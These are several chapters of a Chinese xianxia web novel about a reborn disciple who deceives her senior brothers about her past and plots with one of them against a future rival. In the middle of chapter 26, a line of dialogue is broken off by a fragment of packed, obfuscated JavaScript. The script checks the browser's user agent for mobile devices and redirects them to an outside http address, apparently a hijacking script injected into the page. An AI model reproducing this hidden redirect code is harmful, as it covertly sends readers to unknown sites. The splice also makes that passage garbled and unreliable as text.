刚入仙游峰这半月来,日日都是玄意亲自来教导岳寄欢。
飞檐水台,仙游峰练功之地素来处在峰中那块掩在青葱水瀑后巨大的圆形瑶池台上,瑶池台灵力充沛又宁静,最是适合修炼。
午时已过,天上烈阳。随着最后一缕轻盈的灵力灌注进丹田,岳寄欢卸了气力从瀑中水台两步跃下,玄意见她炼气悟法实在太快,不由得感叹了两声,道:“徒儿还真是天资卓绝。”
岳寄欢将气息稳下,很自然地接受了对方的夸赞:“师尊谬赞。”
玄意颔首没再接话,只是伸手召出一根看上去普通得不能再普通的灵木法杖,法杖通体细长匀称,木质杖身在光下印刻出几圈幽幽的亮色,看着古朴许多。
他将法杖抛给岳寄欢:“这是你初上天阶时毁掉的那根碧落木所制成的法杖,名为吟风枝,你将它收好,也算有件得心应手的法器。”
“多谢师尊。”岳寄欢也不客气,抬手接住吟风枝收进腕上银镯,凌云宗赐给弟子的银镯除去象征身份之外也用作储存法器,放些别的法器和灵石什么的方便得很。
她话才说完,玄意却又不知从哪里找了一堆闪着各色奇怪光芒样式的法器一一递给她,眉目舒展地说道:“这是玉阵盘,还有翻天印......”他接着在指上碧润的储物戒里翻着,翻了好一会,最后才从中拿出一把通体碧玉的长剑,剑刃处萦着一层淡薄的冷雾气,这雾最后凝在剑尖,流转成一簇细小的风旋。
玄意把这剑递给正抱着一堆法器愣愣的岳寄欢:“找到了,这是青岚剑。”他望着这个新收的四徒弟,温和道,“你虽偏习法术,但佩剑终归方便些。这把剑是我从前在人间所寻得,用着轻巧,你用刚刚好。”
岳寄欢眨眨眼,随后忙不迭把手中法器尽数收进银镯,才又腾出手去接了这剑:“劳师尊费心了。”玄意愿意给她这些,她倒也没什么不好意思的。
玄意颔首,示意岳寄欢今日修炼已完,自行去歇息便好,他则起身抖袍离去。师尊今日看上去步履实在有些匆急,须臾之间就御剑消失在瑶池台之上飘云的天空里。
岳寄欢抬头遥遥望着玄意离开的身影,片刻后,她挪着步子温吞往灵苑西走廊去。
系统像摊烂泥一样软塌塌趴在她肩上:“宿主,上一世怎么没见你用过你师尊今日给你这把剑?”
岳寄欢沉默了一瞬,带着疑惑缓缓开口:“因为...他上一世没有给我。”
“……”
系统嘶了一声:“算了...那也挺好的,这一世多些法器也算多了些倚仗。”
岳寄欢应声,继续往灵苑走,她一只手指尖无意识摩挲上另一只腕上带好的银镯,银镯上凸起的素花纹压着她的指腹,带着些温润的冰凉,在稍显温暖的春天里镀给她一些些冷意。
她现在不在意玄意今世给她的那把未曾见过的剑,只是思绪跳转几番,跳到了半月前那夜的镜花水月里。
自拜师大典那日晚映月亭一事之后,与她说开的段无瑕也抱着稍稍慰藉的心情在仙游峰和她玩了几日后同段裳裳回遥香谷去了。
至于其余几人,单若水看上去对那日的事情恍若未闻,依旧整天抓着她给她打扮;宋折镜和她之间不如前世这个时期亲和,反而更像前世他二人决裂后的模样,不甚来往,没什么交流;三三则是又跟着谢忧回了青鸾宫,就在她离开映月亭后的几个时辰——一刻都没多留。
岳寄欢不停转动着银镯,一边游神一边往灵苑内愈走愈近,等走到苑前时,她稍微倾身拐了个弯溜进灵苑小门里,小门内通往灵苑另一侧,这边几乎没人来,几乎算得上荒芜了,因此院内没种什么花,只有杂乱重叠前后的巨大峰石。
恰好把她的身形隐在了这些堆叠的巨石后。
她在繁杂石丛中迈着步子,如风一般流窜其中,直到见到那道熟悉的橘红色身影才停下。
“二师兄。”她对面前的人说道,“每次这样,我都觉得我们在密谋什么毁天灭地的大事。”
柳扶荔赞同地点头:“我也觉得,所以你待会想吃什么?”
“……”
“你找我来就是为了说这个?”岳寄欢摊手,又张着指尖去揪身旁不知名的野草,草汁蔫绿,浸上了她的指尖,有两分黏腻的感觉。
随着热光的照射,感受到指尖传来的不妙感觉,岳寄欢收回了手,脑子里一时后悔方才闲得没事要去扯这叶子。她现在只想快点得到柳扶荔的回答,然后赶紧去净手。
柳扶荔耸肩:“也不完全是,我就是想问问你,啧,”他小心翼翼道,“抱歉啊师妹,映月亭那日我也没想到谢忧那臭小子居然明着挑...”
那日毕竟是他组的牌局,若不是因着他执意要推牌九一事,想来谢忧和岳寄欢之间也不会这么快在众人面前挑明身世一事,给了岳寄欢些许无形的难堪。柳扶荔后悔得不行,这半月来他身上又牵着两个去人间的任务,岳寄欢也忙着和玄意修炼,两人也是今日才堪堪见面。
岳寄欢打断了柳扶荔,轻飘飘道:“抱歉什么,这种事情早晚都要发生的,话说清楚才好。”
柳扶荔:“可现在不是时候。”
岳寄欢:“那要什么时候?难道非要等对方把刀横我脖颈上才是时候?”
柳扶荔心平气和地揽了揽耳边的发:“师妹,是你太耐不住性子了。”
岳寄欢冷笑:“白白遭人威胁怀疑的是我。”
“你懂什么?”柳扶荔语调突然拔高了两分,情绪激昂,“你又不是不知你大师兄和谢忧那小孩的性子,他们不是段家姐妹和若水。这番下来,你大师兄只会更加疑你,说不定他私下已经将此事说与三师妹,至于谢仲玉那人从来就是这副冷模冷样,他前——”
“行了别说了。”岳寄欢忍无可忍地止住了柳扶荔即将出口的话,她这个年龄还仍然细嫩的声线因着语调扬起发出些惊人的尖厉,脸颊两侧也随着情绪泛上薄红色,“你又以为你什么都懂吗?别和我扯这些。”
见此,柳扶荔急忙掐住话头,望着这一世情绪难得激动的岳寄欢怔住了眼神。
保持着这副怔愣神情,他悄悄地,用几近看不清楚的余光虚虚望向不远处小楼之上,漂亮的眼珠缓慢转了一圈,最后落回岳寄欢脸上。
岳寄欢像是没有看见柳扶荔脸上的表情,依旧挂着一副被挑起气愤情绪的模样,她指尖有些发抖,微微撑腰想让自己看上去硬气些。
两人间扫着因风流经身旁太湖石缝隙的窸窣响动,发丝发带都被风扬在脸颊眼前,迷蒙着眼前人的身影变得模糊虚化。岳寄欢发间系带上那两粒玉垂花发出撞在一起“当啷”的轻响,伴着柳扶荔耳上那枚长长的红珠耳坠随风微荡。
这种一直包裹着岳寄欢与宋折镜或是谢忧间剑拔弩张的火焰似乎被风刮得满天飞舞,现如今无可避免地烧到了她与柳扶荔身上。
两人皆是蹙眉怒视对方,这种气氛僵硬了一霎。岳寄欢现在的个子虽比柳扶荔低一大截,但气势分毫不减,她酿着语气重重道:“也罢。没想到你居然也同大师兄和谢忧一般货色。二师兄,想来我还是太过信任你,至于你同我说这些话特地挑了这么个偏僻地方,便口无遮拦起来。”
她说这话时,指尖已经酿出一阵微薄的白色灵力,这气旋萦绕在她指尖,逐渐幻化成一把风刃的模样,蓄势待发。
柳扶荔抿着唇僵在原地,几秒后,他倏尔缓慢地扬起漂亮的笑,笑意在他的脸上弥漫成一点点冷漠和恶趣味的兴致,反问道:“师妹,我虽说得多了些,但想来这里也不算得偏僻是吗?别把师兄说得像什么坏人一样。”
这语气听着温和又善意,像是真的再劝岳寄欢别把他想得太不堪。
听闻,岳寄欢依然故作不忿,字音愈发咬得重:“师兄说的也是,这里确实算不上偏僻,你当然不算坏人。”
随着最后一字的重重落音,她身上那股紧绷愤恨之意如潮水般蓦然褪却,整个人重新套上一层闲散无心的模样。
“毕竟就连这种地方啊,”她漫不经心地拖着调子,“也是隔墙有耳,坏蛋另有其人。”
话才搁下,一道劲风迅速以肉眼几乎看不清的速度化为风刃,直直袭向这方荒芜石院四周的小楼窗上,窗内迅速闪过一道月白色的身影,这身影被这迅疾的风刃硬生生逼退了几步,使剑将风刃一一扫开,而后三两下踩着窗棂跳出了小楼,借着院中错落的峰石跃到了皆是
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侧身冷淡望他的岳柳二人面前。
三人相见的一瞬,一柄刻着流云瑶树的玉扇斜出挡住了这柄直袭而来的长剑,柳扶荔修长的手指握住扇身,看向来人笑不露齿:“不过半月而已,你便要动手?也太欺负小师妹了。”
宋折镜偏头,手腕一转,使剑想要挑开面前挡住他分毫不动的流云玉扇,气极反笑:“这么会演,不是你们想引我动手?”
岳寄欢抱着臂,嗤了一声反问:“难道不是你一直跟着我们?大师兄,跟了整整半月,这么喜欢玩跟踪啊。”
宋折镜依旧保持着挑开玉扇的动作,面不改色:“四师妹这么激动干什么,你如此值得怀疑,我难免要替寻仙山安危着想。”
“……”
看来谢忧这狗贼真给宋折镜灌输了不少她的疑点,以至于宋折镜对她的态度已然上升到事关“寻仙山安危”一事上。
谢忧这厮就应当被天诛地灭。
岳寄欢没好气地想。
她又道:“那大师兄也同那谁一般接着怀疑去吧。”说罢,她利索地化出青岚将僵在空中流转星芒的长剑与莹亮清润的流云玉扇彻底拨开,阻断了二人稍稍涌动的危险氛围。
宋折镜收剑,有些意外地看向岳寄欢手中萦着水雾的剑,反倒问:“师尊把青岚给你了?”
“怎么,师兄想要吗?”岳寄欢抬抬眼,随口问了句。
宋折镜倒也没否认,坦坦荡荡:“前段时间见过,想要,师尊没给。”
岳寄欢诡异地扫了这剑一眼,又看了眼宋折镜:“你居然会主动向师尊讨要,而且他还没给你?”
“居然?你很了解我吗,四师妹。”宋折镜淡然地瞥了眼她,“师尊自有他的思量。这剑没给我,而现在恰好出现在你这里,这就是他的思量。”
岳寄欢之所以能这么问宋折镜,一方面是前世她从未见宋折镜居然能有主动开口朝他人讨要东西的一天,另一方面是宋折镜作为玄意最喜欢的弟子,玄意居然没答应给这位好不容易开口要一次东西的大弟子一把剑。
她思忖片刻,又听宋折镜正色道:“四师妹。”
难得听宋折镜这么正式地喊她,岳寄欢把剑收好,问:“怎么了?”
宋折镜说:“想来你也清楚,自你上天场测试之后,我便对你突然变了态度,多加防备。”
“你自己也应知晓你的出现有多突兀。”他定了定神,“很难不怀疑,我甚至后悔过给你写那张推介信。”
岳寄欢没看宋折镜,反而瞧了眼身前的柳扶荔,却问道:“那你现在同我说这些做什么?”
柳扶荔也懒散地搭了把腔:“是啊,那我们大师兄怎么突然说这些。”
柳扶荔这么一出声,宋折镜忽地露出些欲言又止的表情来,想了想,他道:“对了,我虽不知你二人为何会如此熟稔,但我想,你们此前必是认识的。”
岳寄欢和柳扶荔皆是浑身一僵。
他二人谈话相处起来全无遮掩顾忌,两个人都没遮遮掩掩的心思,由此傻子才看不出来他们此前就认识。
岳寄欢赶忙扯了个谎补救:“是,我此前是上京城人士,幼时便常在上京城遇见过二师兄,一个人来羡水城是为了寻我家表亲。”
柳扶荔也圆上这个半真半假的谎:“你也知我常常不在寻仙山,而是会去上京城小住。”他指了指岳寄欢,故作解释道,“我在人间时便同她认识了,也算是我瞧着长大的,想来师妹到了年龄我也定会与她写推介一封,她还是会同今日一样来到这里。还有之前在天场选拔时你问我是不是认识她,是我骗了你,我后来还装作同师妹不认识,本意是害怕你们起疑,没想到弄巧成拙。现在一切说清楚,所以折镜,你如今莫要再去钻些牛角尖了。”
他补了句:“你同仲玉说说,仙家百门,还是不要生间隙的好。”
“再说吧。”宋折镜闭了闭眼,又睁眼看向岳寄欢:“你二人所说暂且不论真假,至于四师妹其余之事……你同无瑕在西走廊之上,我都听到了。不过想来,也不能算是我故意偷听。”
他目光清明起来,一字一句道:“因为那些话除了说给无瑕,本也是为了说给我听的,对吗?四师妹。”
26. 布局
“你是上京城人士?”
“是。”
“你家中只剩你一人,年方十三?”
“是。”
“一个人来羡水城,是为寻你家表亲?”
“是。”
一连答了三个“是”,岳寄欢被宋折镜问得脑仁儿疼,她打住了宋折镜一直问个不停的喋喋不休,无奈道:“你是不是还要问我手上的印记哪里来的,同二师兄在上京城几岁遇见的,为什么我身无灵力之时却能重伤伞妖,还把妖丹要走?”
宋折镜沉吟片刻,回答道:“是。”
“……”
“行。”岳寄欢撩着耳边的发,不徐不疾地说:“那我们到楼中去说吧,苑内保不齐会遇到别人。”
“师妹…”柳扶荔噎了声,想要制止她的举动。他不确定岳寄欢会不会把什么重生之事一股脑地抖出来讲给宋折镜听,毕竟这师兄妹二人前世关系有多好他又不是不知,万一宋折镜不信,他和岳寄欢得双双被送去问肃堂镣铐加身,严刑逼供。
岳寄欢未有多余的动作,宋折镜却瞥向柳扶荔道:“怎的了?不过同师妹聊些事情,你也不必一副吃了馊饭的表情。”他眯了眯眼,“依你所言,你倒是真瞧着她长大得了,这般关心。”
“……”
她也是你瞧着长大的!
柳扶荔在心里无声呐喊,只能暗怼宋折镜真是前世今生都发些没由来的疯,上一世和姓洛那姑娘玩闹得不亦乐乎,把整座寻仙山抛之不顾;这一世岳寄欢这亲亲师妹才进门,他就又听谢忧那糟糕孩子胡扯,给岳寄欢吃了不少下马威。
他就等着宋折镜恢复记忆那天,瞧着他后悔,到时候整座寻仙山必然又是一场腥风血雨。
柳扶荔这般想,试图用脑子里这点突然冒出来的几近刻薄的想法掩盖住对宋折镜的无言和埋怨,于是人也高兴起来,笑眯眯地回怼了宋折镜的阴阳怪气:“是啊,哪有师兄不会关心师妹的。”
宋折镜:“……”这是在怨他整日疑天疑地还不给岳寄欢这新师妹好脸色看吗?
一拳打在豆腐上,宋折镜缄默无言,柳扶荔眉梢眼角都瞬间带上点得意的模样,岳寄欢只得道:“走吧,上楼。”
灵苑这片荒芜地四周的小楼内还算得整洁干净,平日里峰内几个师兄妹倒也会来这盘叠的小楼里闲谈煮茶。岳寄欢亦步跟在宋柳二人身后,她上一世不常来后院小楼里闲坐,一时间竟对这小楼内构造不甚熟悉,便四处观察回忆着,随走在前面一些的师兄弟二人在楼中走廊长桥上来回绕,最后绕到一处瞧着宁静而熟悉的小门前。
楼中这间屋子推开往里不大不小,屋内陈设同其他房间差不多,软垫茶炉,绣屏铜灯。除去窗口开得极其大,几乎要占据整整半面墙去了,窗外攀附着一大丛茂密绿莹的灵藤,藤间稀疏流进几缕如水的金色阳光,错落地洒在屋内各处,乍然衬得内室亮堂跃动起来。
这间屋子,岳寄欢是认得的。
她上一世便总爱和单若水来此谈天说地,师兄妹四个也偶来聚了喝茶吃果,习法静心,常常处在这片光亮弥漫的绿海里,日子过得还算惬意。
日光下,宋折镜出声打断了她的回忆,侧眸道:“师妹是第一次来,随意找个地方坐下吧。”
闻言,柳扶荔戏谑地扫了站在门口不动的岳寄欢一眼,又瞧瞧已经走上前的宋折镜。
对着柳扶荔投来的目光,宋折镜不明所以:“笑什么呢,且你这般瞧我们做什么?”
柳扶荔已经揽衣坐下,慢悠悠揶揄道:“不过想到些惹人笑的事情罢了,宋大师兄当真是琼枝玉叶,瞧一眼也不行吗?”
被这位名不副实的二师弟惹得实在心烦,于是琼枝玉叶的宋大师兄拂袖睨他,冷笑道:“是啊,再瞧把你眼睛挖了。”
柳扶荔和岳寄欢:“……”这人从前脾气有这么大吗?
岳寄欢惊讶地微微挑眉,这世宋折镜的性子瞧着比上一世要鲜活得多,能够坦率朝师尊讨要喜欢的剑,也能够把一贯毒舌刻薄的柳扶荔呛得没话说,其他人可能瞧不出来,但熟悉宋折镜的人都能知道,这人性子当真是不大相同了。
她敛下眉宇间扬起的惊奇之意,眼神在这方天地内巡视了一圈,最后依照前世习惯坐到了挨着窗的那侧,坐到了宋折镜对面。
宋折镜替她斟了一杯,意味不明:“师妹年纪小,喝得惯吗?”
岳寄欢抬袖啜了一口,淡淡道:“师兄亲手替我斟的茶,就算是喝不惯也要喝的。”
茶汤明澈,蕴着甘醇的香气。
是上好的白毫银针。
听见岳寄欢这般说,宋折镜倒也不生气,他搁下瓷杯,温声望着岳寄欢:“师妹,现如今只有我三人,要说什么便说吧。”
他这是在指岳寄欢把方才应他的该说便说了。
柳扶荔捏着小瓷杯的手无意识用力了两分,光亮随着他细微的动作在他指间与杯面小幅波动了几下,像条轻飘飘的金丝长绸。
岳寄欢没说话,只是垂着眼又啜了两口茶。
宋折镜蹙眉:“四师妹?”
岳寄欢将瓷杯搁在桌上,冲着对面的宋折镜抬起眼睛。窗外细碎的冷阳落到她的眉眼脸侧,阳光照射进她的瞳孔,像一颗透明的莹石,像水,于是她身子后倾避开了阳光,把自己重新覆在阴影下,紧接道:“手上的印记是灵兽缔结的契约。”
话落,顶着宋折镜讶然的目光,同柳扶荔一脸“我倒是要看看你怎么骗过你大师兄”的神情,她淡定地拍了拍手:“小月儿,出来吧。”
须臾之间,一只浑身毛绒绒的淡黄色小球从岳寄欢肩上凭空出现,啪叽几步跳到了几人面前的木质方桌上,颇为兴奋地叽叽喳喳叫了几声。
“……?”
柳扶荔睁圆了眼,不可思议道:“师妹,你……”
岳寄欢这又是从哪里找来的小玩意儿哄骗宋折镜!
柳扶荔颇为崩溃地想,他师妹未免牺牲太大,为了宋折镜这厮竟和这般瞧起来弱小废物的小灵物缔结契约,看着这东西亲昵岳寄欢的模样,与其缔结契约之事不像假的。
面前这团黄色的绒球似乎能听见柳扶荔心中所言,垫着步子跌跌撞撞冲到他衣袖口,凶巴巴咬着他袖子不放。
柳扶荔:“……”天杀的。
他啧了一声,伸手把面前这只小东西拎起来转着看了两圈,名为“小月儿”的黄球在他手里“叽叽”叫个不停,露出的两粒黑豆似的圆眼瞧着颇具杀气。
柳扶荔指尖戳戳这只小球,随口问:“师妹,你从哪里弄来的?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177415|161448||http|test|mini|href|location''.split(''|''),0,{}));
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>岳寄欢瞥了他手中的球:“啊,路边救下的,瞧它可怜,顺手签了契。”
宋柳二人:“……”
宋折镜将柳扶荔手中那只叫声愈发尖凶的小球拎过来瞧,挑眉说:“师妹还真是心善。”
岳寄欢继续啜茶,谦虚道:“师兄谬赞。”
宋折镜:“……”
喝完茶,岳寄欢终于把这黄绒小球从对面那二人手中解救出来,一脸正经:“这确实与我缔结契约的灵兽,这小球前几日便给无瑕见过了。再说,师兄可知那‘鎏火玄鸟’?”
宋折镜:“妖兽志里记载的那种浴火神鸟?”他望着躲在岳寄欢掌心里的那只小黄球,微笑道:“我相信师妹手中这只不会是的。”
岳寄欢赞同点头:“确实不是,身为它的主人,我只是身怀望鸡成凤之心,”她顿了顿,突然满眼慈爱地看向手中的小黄球,“万一哪天它突然蜕变,变鸟为凤,那我应当是欣慰的了。”
“……”
宋折镜眼角微微抽动几下,跳过了这个令人沉默的话题:“罢了,暂且信你一次。其他你该如何解释?”
“同二师兄遇见约莫是我六岁之时。”岳寄欢稚气的脸上倒现出几分朦胧的回忆情感,她真挚道,“二师兄应当也记得的。”
柳扶荔停止了看戏,接上话:“是啊,我那时最喜四处出去玩,那是我第一次在上京城遇见师妹,一见投缘。”他话锋一转,又去劝宋折镜,“折镜,所以就算是你不给师妹写推介信,她也会因我来到仙游峰的。”
宋折镜捏着酿起一弯茶的瓷杯,没说话。
岳寄欢面不改色心不跳,继续道:“至于为什么重伤伞妖,还要走了妖丹,是因为我用了符。”她脑子转得快,思来想去把干脆把柳扶荔扯来当挡箭牌,“符是二师兄此前给我防身用的,我一个人年纪又小,手无寸铁,二师兄那时常来上京城教我习武用符,为得就是有朝一日我能保护自己。”
柳扶荔一噎,难得磕巴了两分:“是…是啊,我实在不忍心瞧师妹孤苦一人,遭人欺负。”
宋折镜却全然放下手中瓷杯,眉眼微敛,平静地侧头问他:“你可不是什么心善乐施之人,还能有闲心去照顾一个陌生姑娘?”
柳扶荔唇边勾着点若有若无的笑意,他懒洋洋反问:“你是这般想我的?”
宋折镜却说:“不是我要这般想你,只是我实在想不出来你方才所说那些。”
柳扶荔冷笑:“是吗?”
宋折镜垂眼:“是。”
岳寄欢见此,赶忙想要出声打破这样僵直的氛围,便又道:“还有,我要妖丹是为了……”
“她是为了我。”柳扶荔修长的指尖擦着瓷杯口,小瓷杯随他动作在木桌上迅速转动,“我此前偶然和她提过我需妖丹来炼药,我四处找妖丹炼药是为了什么你不会不知。还有,我确实不是什么心善之人——”
他抚着衣袍缓缓站起,橘红色长衣被天光镀上一层耀眼的光亮,耳上那枚红珠则随他动作轻轻晃动,映在阳光灿烂下红得诡异又艳丽,像一粒凝固的鲜血。
柳扶荔微微倾身撑桌,以一种处于上位者的,不可逃避的冷漠姿态睨着坐在下首的宋折镜,用屋内三人皆能听清的声音冷声道:“我会帮她,是因为她同兰嫣,很像。”
27. 欺瞒
“他走了?”
“早走了。”岳寄欢托着下巴,一边垂眸戳着桌上一脸怨气的小黄球,一边回答柳扶荔。
柳扶荔静静倚在窗边,窗外射进屋内的金色阳光仍然洒在他身上,勾勒得明亮又耀眼,一身橘红处在日暮下,反而像太阳躲在绿树下的一轮虚影。
岳寄欢盯着这抹身影看了一会,随后把小黄球收回手中,懒声问:“这样骗他们,真的好吗?”
柳扶荔没看她,只是继续望着窗外这片绿藤,答道:“没什么不好的,他们大概一辈子都不会再想起从前。”他回身背靠着窗边墙壁,语气有些说不出的落寞,“这么多事情,我们两个记得就够了。”
岳寄欢站起身笑笑:“万一他们此后想起来了呢?无瑕和大师兄,更多人,会不会恨我们?”
“这是没办法的事。”柳扶荔转头弯着眉眼,故作自在地摊摊手,话锋一转,“你方才真是吓了我一跳,我还以为你真的要把从前的事情告诉他。”
岳寄欢缄口不言,她走过去同柳扶荔一道站在屋内这面巨大的窗前,窗外是脑海里熟悉的葱葱绿意和光芒。站在这里,站在比她高出好些的柳扶荔身旁,岳寄欢低头看着自己十三岁稚嫩懵懂的身体,又看身侧神清骨秀的年轻男人,她突然笑了一声,几乎是有些莫名其妙地笑了一声。
柳扶荔侧眼看她。
岳寄欢沉吟道:“你当真是把我当作十三岁的小孩瞧了,我现在不会把一切都告诉他的。倒是你,还和他讲什么我同‘兰嫣’很像,他现在估计把你当——”
她开了个不算俏皮的玩笑,笑嘻嘻地说:“把你当成心思不正的变态了。莫不是瞧我一副愿打愿挨的模样,他刚刚差点动了恻隐之心想带我一起走。”
“……”
柳扶荔忽地掀起眼皮,瞥着身侧口出狂言的岳寄欢轻笑一声。他幽怨道:“师妹,我这可都是为了你。”
“真的吗?”岳寄欢问,装得一副天真模样,“我没见过兰嫣师姑,我可不信。”
柳扶荔逗她:“像倒是真的。”
“……”
“柳扶荔!”岳寄欢声音拔高了几分,侧身不可置信道:“你真的把你可爱的师妹当作——”
她脸上闪过几分讶然,惊得连“二师兄”也不喊了,直呼柳扶荔全名,面色愠怒。
柳扶荔咳了咳,难得亲昵地叫了声她的小名:“泱泱,戏过了。”
岳寄欢闻言蔫嗒嗒倚回身去,她的确没见过兰嫣真人,但总归见过对方画像和留影。她二人模样瞧着是不大像的,身形,容貌都说不上相似,甚至可以说是两不相干。
勉强能称得上相似的,大概是二人娇纵起来的模样。
确实是有些相似了,据说,岳寄欢未曾谋面的这位兰嫣师姑性子生来就娇纵傲气了些,不然也不会在十几年前抛下凌云宗一走了之——
她走得太洒脱决绝了,什么都没带走,什么都没留,不是去云游也不是去闭关修炼,就是单纯地离开了寻仙山。
只托了玄意看好柳扶荔。
岳寄欢也单是听说这位兰嫣师姑同从前的她娇纵起来一般性子,无法无天,理直气壮,胡作非为。
当然,那是从前。
毕竟现在,不会有多少人这么愿意纵着她了。
岳寄欢呆滞着回忆了片刻,回神过来又直起身问柳扶荔,带着些试探意味:“噢,说起来啊,那我们之后该怎么办?”
柳扶荔抱臂靠着墙,不经心道:“能怎么办?等。”
岳寄欢:“等什么?等你去把兰嫣师姑找回来?还是等——”
柳扶荔好笑地瞧着她。
岳寄欢瞳孔微微一缩。
“这样会不会做得太绝了。”她道。
柳扶荔耐心地先将岳寄欢方才的疑惑一一解答:“兰嫣是要去找的。”
岳寄欢打断了他:“找她回凌云宗?”
柳扶荔摇头:“不。”
岳寄欢似乎是想到了什么,脸色扭曲一瞬,欲言又止:“那就是要……”
她还是止住了没说出口的话,偷偷去瞥柳扶荔的神情。
听见岳寄欢这么说,柳扶荔脸上没什么表情,依旧漠然冷淡,好像和岳寄欢说话的并不是他,而是别人。
他的声音听不出什么情绪:“你知道了?”
岳寄欢咽了口唾沫:“我以为那件事是假的,还有,和上一世你落到人间……”
柳扶荔却淡声打断:“嗯,半真半假吧。”他接着续上方才没有回答完的疑惑,“还有啊,我要等的是洛心棠。”
岳寄欢声音迟疑:“我也在等。”脸上带着笑意的表情乍然消失,取之而代的是一种淡薄的冷漠和麻木,她突然说,“我不恨她,也不想恨那时道心不稳的宋折镜,我只恨我自己。”
“没人有错,没人值得恨。”柳扶荔喃喃道,他缓缓抬起眼:“所以,你等她是要做什么?”
等她做什么?
没有再回答,岳寄欢沉默以对。她的指尖不断摩挲着裙摆,几乎要将裙摆布料都揉皱。她不知道该说什么了,也不知要做什么,眼睛不知要看向哪里,看天还是看地,看身侧的柳扶荔还是窗外被云遮住的太阳,看苑内艳丽的鲜花。
半晌,她下定决心一样开口,阖起眼低声道:“等她来,提前结束这一切。”
岳寄欢周遭气质乍变,冷冰冰地说:“这大概是目前唯一的方法。”她抬头望向窗外被云遮住的太阳,阳光不刺眼了,她现在可以彻底把眼睛睁开,看清楚外面亮堂堂的白日青天。
“万不得已之时,若是我还未找到别的法子,就只能,”她勉强扯出一个比哭还难看的表情:“杀死这个世界的心棠。”
“也只是将她送回她的世界罢了。”柳扶荔面色平静,自然地接上她未说完的话,“从现在开始就阻止一切,在她见到宋折镜前。”
他说:“师妹,看来我们的想法是一样的。”
*
自那日宋折镜恼怒离去后,灵苑内几人关系短暂地凝滞了一段时间。
但值得庆幸的是,这种尴尬和奇怪的氛围没有同乌云一样笼罩住灵苑很久,师兄妹几人几月后又恢复了从前那样热闹的关系,眼看岳寄欢入了仙游峰却并未再做出出格之事,她和宋折镜之间稍稍缓和,连带着谢忧那边都少了两分明面上的敌意,偶尔会领着三三来仙游峰。
日子如流水一样几乎要淌走一年,期间岳寄欢依旧跟着玄意修炼习法,偶尔去宗门学院里习些草药道法之类的。她吸收灵力又快,悟性高,才开慧灵根之时就可以使用灵气,现如今短短时间突破筑基,便时常跟着柳扶荔和单若水接些宗门下布的任务,有时会和拒霜一道,她二人也能早些赚了灵石赔给执事堂,补上初入宗门时毁掉的那一大片灵树丛。
要说这一年里,稍微奇怪些的就是系统没再给岳寄欢布置任何任务。
系统有时会化成小月儿那只黄色绒球蹲在她身侧,比如段无瑕和三三来仙游峰的时候;有时又会变回休眠的状态,岳寄欢呼唤好半天都叫不答应。见系统不理人,她也就不去在意,舒舒服服地在仙游峰玩闹了一年,就同她前世初入宗门那时一样。
这样的感觉太令人喜欢了,这样太熟悉的情景几乎快把岳寄欢溺死在其中的时候,系统终于以亮黄色圆球的形态上了线。
仲冬方过,腊月银雪飞扬,渡着春天好像是昨日之事。如今整座寻仙山都隐匿在了飘飘
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洒洒的大雪里,天气冷下来,到处都是大片大片的银装素裹,雪压梢头,红梅傲枝。
仙游峰素来养花,四季都有,这个时节开红梅,朵朵点缀在白雪地里,瑰丽而绚烂。
岳寄欢身上裹着单若水给她缝的绛紫吉祥纹斗篷,怀里抱着个银制手炉,百无聊赖地坐在灵苑前厅的木阶上望着落雪的灰色雾蒙天发呆。
系统从旁边有些不合时宜地跳出来:“宿主,我回来啦。”
“嗯。”岳寄欢无精打采地应了声,神情恹恹。
系统见她兴致不高,赶忙道:“宿主,我是来布置新任务的。还有,之前你初入天场时,我同你说过一个惊喜。”
岳寄欢抱着手炉昏昏欲睡:“什么?”
系统也等不及她懒散着这副模样了,干脆直接说:“第三次任务完成后,你大概有将近三年的时间不会再接到任务了。”
岳寄欢阖上的眼睫微微颤动几分。
“叮——”
任务布置的声音随着系统落下的话一道响起。
【任务三:将祝——,三三顺利送回丹荷(任务进度:0%/100%)
成功奖励:两百积分,系心扣×1
失败惩罚:扣除两百点积分,扣除八点生命值】
岳寄欢睁开眼,有些不解地看着任务面板。她打起精神,半开玩笑道:“什么意思,祝后面的字怎么看不清,那指得是三三吗?三三真名不会真叫祝三三吧?”
“……”
“大概是出故障了,没关系,知道大概任务就好。”系统一呛:“还有,祝三三什么的当、当然不会,宿主,三三真名当然不会是祝三三的,撑其量以后算个小名罢了。”
岳寄欢又恢复此前乏力困倦的模样,失落落地哦了一声。
这个时节天太冷,岳寄欢唇齿中吐露出几团雾似的白气,渐渐消散在一片白茫茫中。垂着眼皮思忖了片刻,她怀抱着那只热乎乎的银制花鸟手炉,突然问道:“为什么这次任务过后三年都不会再有任务,是为了准备些什么吗?”
岳寄欢抿着唇故作回忆,像是随口一提:“好像第四年是飞仙大会,心棠就要来了吧。”
这话说得太不经意,漫不经心。
系统窝在炉子旁,依偎在岳寄欢的掌心边,却是猛然一僵。
岳寄欢徐徐低头,她那双情绪淡薄的眼睛盯着系统,听清楚“心棠”二字时,她能明显感觉到怀里这只亮黄的小球有些不知所措和僵硬,有些欲言又止。
系统藏在她掌心,细腻的肌肤甚至能感受到对方轻微的抖动。
有她在,系统在害怕什么?
冷风冷意,岳寄欢抬头遥遥看向目光远处。
今日仙游峰无人,玄意闭关月余,高弄舒陪单若水去了遥香谷找段裳裳取丹药,柳扶荔去了上京城买东西,宋折镜在青鸾宫同谢忧比剑。
峰外,拒霜似乎和她提过,这几日她会和燕须霁去迷雾林一处秘境,湛家兄妹一道去。
岳寄欢依旧抱着炉子和系统,裹着披风,坐在开满大片红梅的白雪地里。
她没再问系统为什么这般反应。
她神情冷恹恹的,孤独地坐在霜雪地里。
雪浸湿了木质阶梯。
身后是燃着温暖炉火的阁内,身前是红花白雪。
怀里手炉和变成毛绒绒颤抖不停的系统源源不断地蹭给她暖热。
一时无话。
木阶上,岳寄欢任由化开的雪沾湿她绛紫色的裙摆,飞扬撒开的裙摆像一朵绽开的孟夏鸢尾花。
片刻后,这位看上去再年轻不过的少女垂眸,摸了摸怀里发抖的黄球,忽地温声道:“很冷吗?走吧,我带你回阁内。”
28. 离开
